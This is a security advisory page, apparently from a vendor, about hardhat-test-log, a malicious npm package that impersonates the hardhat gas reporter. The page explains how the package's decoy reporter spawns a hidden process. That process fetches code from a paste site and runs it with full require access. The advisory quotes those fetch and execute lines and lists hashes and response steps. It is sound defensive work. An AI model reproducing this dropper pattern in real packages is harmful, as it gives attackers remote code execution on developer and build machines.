NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

hardhat-test-lognpm

Advisory published Updated

hardhat-test-log is a confirmed malicious npm package (MAL-2026-6369) that typosquats a legitimate package to trick installs (malicious versions 1.1.0, 1.1.1, 1.1.2…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in hardhat-test-log (npm)

MAL-2026-6369
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall hardhat-test-log

What this malware does

Package impersonates the well-known eth-gas-reporter / hardhat-gas-reporter packages: README is titled 'eth-test-log', copies badges and contributor metadata, and package.json sets author to 'cgewecke' (the real maintainer of those projects). The advertised Mocha reporter entrypoint is a decoy. index.js exports log as the reporter, but the function contains var opt = 1; if (!opt) {...legitimate reporter code... } else { gestest(); } — the dead-code gate guarantees the else branch always runs, calling utils.connectNet. utils.connectNet (lib/utils.js) spawns node lib/syncResolve.js as a detached, unref'd child with stdio ignored, so the dropper persists beyond Mocha teardown and produces no CI output. lib/syncResolve.js then performs axios.get('https://www.jsonkeeper.com/b/KBZVB', { headers: { 'x-secret-key':... } }), extracts the Cookie field from the response, and executes it in-process via new Function.constructor('require', result)(require) — giving attacker-controlled code full Node require access. The fetch destination is a public paste-style host with mutable, opaque content and no integrity check, so the operator can rotate the payload at will. Installing/using this package as a Hardhat/Mocha gas reporter triggers remote code execution on the developer's or CI machine.

Malicious versions

4 flagged
1.1.01.1.11.1.21.1.3

Indicators of compromise (SHA-256)

c8eaf29821b0a2792ecc08837bdd52a09bee062279d6c8c83f5f15855b1098f6
741350b4472a82c53151793b413166a5fad36af3d2d14fa1d12afba9eccb9fed
592e909fd45c56d9ad4bf2024335152e1bb755a35e4a1a527afe50544bea676c
8c1027b1e88c4de671bd38da9741b78c8eb9efbe659fc1c5ed1b6d086649d879

Detection & response playbook

Typosquat
  1. Find it

    Search your lockfiles and build artifacts for hardhat-test-log (4 malicious versions).

  2. If you installed it — respond

    hardhat-test-log is a typosquat — you almost certainly intended a legitimately-named package. Remove hardhat-test-log, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If hardhat-test-log was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. hardhat-test-log on npm has been identified as a malicious package (versions 1.1.0, 1.1.1, 1.1.2, 1.1.3 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007420IN-MAL-2026-007763IN-MAL-2026-009171IN-MAL-2026-009169

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks hardhat-test-log-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

hardhat-test-log (npm) malicious package — MAL-2026-6369 | O3 Security